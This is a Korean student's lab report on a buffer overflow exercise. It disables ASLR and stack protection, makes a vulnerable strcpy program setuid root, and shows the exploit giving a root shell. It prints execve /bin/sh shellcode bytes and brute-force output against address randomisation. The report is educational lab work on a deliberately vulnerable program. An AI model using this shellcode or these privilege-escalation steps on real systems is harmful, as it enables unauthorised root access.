해킹 및 바이러스

버퍼오버플로우 실습 레포트

20125502 김계홍

새로운 자극을 주셔서 감사합니다.
따분한 이론보다는 역시 전 직접 부딪혀 보면서 고민하고 생각하는 실습이 흥미있고 재미있으며 저에게 더많은 도움이 됩니다.
처음에 gui모드로 켜지다가 갑자기 cui모드로 부팅되기 시작해서 화면 색깔의 차이가 있습니다.

sudo sysctl -w kernel.randomize_va_space = 0 입력을 통해 힙과 스택 시작주소를 무작위화 한 것을 해재했습니다. 이옵션의 값은 0,1,2가 있는데 0은 ASLR해제를 했습니다.

gcc -fno-stack-protector (ssp해제) -z execstack -o(스택메모리보호 설정 해재)
call_shellcode casll_shellcode.c를 입력후 call_shellcode를 실행합니다.
(별 껍데기를 더덕더덕 걸치고있네요...) 실행을 통해 아래 그림과같이 쉘이 실행됩니다.

2. stack.c 는 512바이트 buffer를 만들고 bof함수에 strcpy가 일어남으로써 (strcpy)가 따로 크기를 체크하지않기 때문에 버퍼오버플로우가 발생할 수 있는 위험코드가됩니다.
위험코드 자료형으로는 main에 있는 char str[517] 과 bof함수에 있는 char buffer[24] 가있습니다. 이를 bof함수에서 strcpy가 이루어지게되는데 str값을 buffer에 넣게되면서 크기가 넘쳐흘러서 오버플로우가 발생하게됩니다.
ssp해제 / 스택메모리보호 설정해제 옵션을 입력하면서 컴파일 시킵니다.

sudo chown root stack
(chown은 파일의 소유권을 넘겨주는 명령어인데 root로 소유권을 넘겨줍니다.)

sudo chmod 4755 stack
(4755는... user id설정을 시정하고 user에게 rwx권한 부여, group과 other에게 r-x권한을 부여합니다.) 입력후 ls명령을 사용하면 변경된사항을 체크할수있었습니다.

```
seed@VM:~/Desktop$ gcc -o stack -z execstack -fno-stack-protector stack.c
seed@VM:~/Desktop$ sudo chown root stack
[sudo] password for seed:
seed@VM:~/Desktop$ sudo chmod 4755 stack
seed@VM:~/Desktop$ ls -al
total 112
drwxr-xr-x  4 seed seed 4096 Jun  9 17:36 .
drwxr-xr-x 28 seed seed 4096 Jun  9 17:32 ..
-rwxrwxr-x  1 seed seed 7384 Jun  9 17:30 a.out
d--s-w---x  3 seed seed 4096 Jun  9 09:57 badfile
drwxrwxr-x  2 seed seed 4096 Jun  9 11:10 badfile1.txt
-rw-rw-r--  1 seed seed   17 Jun  9 11:31 badfile.txt
-rw-rw-r--  1 seed seed  599 Jun  9 11:24 bad.txt
-rwxrwxr-x  1 seed seed 7388 Jun  9 09:21 call_shellcode
-rw-rw-r--  1 seed seed  310 Jun  9 06:58 call_shellcode.c
-rwxrwxr-x  1 seed seed 7780 Jun  9 15:46 eggshell
-rw-rw-r--  1 seed seed 1358 Jun  9 16:10 eggshell.c
-rwxrwxr-x  1 seed seed 7384 Jun  9 17:33 env
-rw-rw-r--  1 seed seed   93 Jun  9 17:32 env.c
-rwxrwxr-x  1 seed seed 7524 Jun  9 09:33 -fno-stack-protector
-rw-------  1 seed seed  317 Jun  9 11:20 .gdb_history
-rw-rw-r--  1 seed seed    3 Jun  9 11:19 peda-session-stack.txt
-rwsr-xr-x  1 root seed 7476 Jun  9 17:36 stack
-rw-rw-r--  1 seed seed  325 Jun  9 17:24 stack.c
-rwxrwxr-x  1 seed seed 7392 Jun  9 08:55 test
-rw-rw-r--  1 seed seed  121 Jun  9 09:03 test.c
-rw-rw-r--  1 seed seed   37 Jun  9 17:27 test_file
seed@VM:~/Desktop$
```

3. exploit를 만들었습니다. badfile생성하려다가 파일 권한으로 장난치다보니 파일들이 꼬여버렸습니다. 그래서 저는 badfile 말고 test_file로 실행하였습니다.

소스코드는 따로첨부하도록 하겠습니다.

```
"exploit.c" 69L, 821C written
seed@VM:~/Desktop$
seed@VM:~/Desktop$
seed@VM:~/Desktop$
seed@VM:~/Desktop$
seed@VM:~/Desktop$
seed@VM:~/Desktop$
seed@VM:~/Desktop$ gcc -o exploit exploit.c
seed@VM:~/Desktop$ ./exploit
seed@VM:~/Desktop$ ./stack
#
```

실행하고나서 루트권한을 획득한 모습입니다.

4. dash_shell_test파일 소스코드를 작성하였고 exploit에 기계어 파일을 추가로 집어넣었습니다. 실행하였더니 루트 권한을 받던 stack실행시 $사용자 쉘파일을 받는 것으로 바뀌었습니다. (아래그림첨부)

왜 $사용자 계정으로 변환되는지에 대해 분석은 다되지 못했지만 아마 bin/bash를 이용해 호출을 하기때문이라고 추정은 하고있습니다..

```
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

//-- second code

"\x31\xc0"
"\x50"
"\x68""//sh"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
```

```
seed@VM:~/Desktop$ ls
a.out          call_shellcode     eggshell.c  -fno-stack-protector    test.c
badfile        call_shellcode.c   env         peda-session-stack.txt  test_file
badfile1.txt   dash_shell_test    env.c       stack
badfile.txt    dash_shell_test.c  exploit     stack.c
bad.txt        eggshell           exploit.c   test
seed@VM:~/Desktop$ gcc -o exploit exploit.c
seed@VM:~/Desktop$ ./exploit
seed@VM:~/Desktop$ ./stack
$ _
```

5. 쉘스크립트를 활용하여 무작위대입공격이 버퍼오버플로우방식에 비해서 얼마나 비효율적인지 보여주기식으로 알려주는 예제같습니다. 한 10분정도 돌렸는데 따로주신 파일에서 쓰여있기를 밤새 돌려보는것도 괜찬을것같다고해서 종료했습니다 -,-;; 돌려본 결과입니다.

```
The program has been running 43207 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43208 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43209 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43210 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43211 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43212 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43213 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43214 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43215 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43216 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43217 times so far.
Segmentation fault
0 minutes and 0 sec seconds elapsed.
The program has been running 43218 times so far.
Segmentation fault
^\Quit
seed@VM:~/Desktop$
```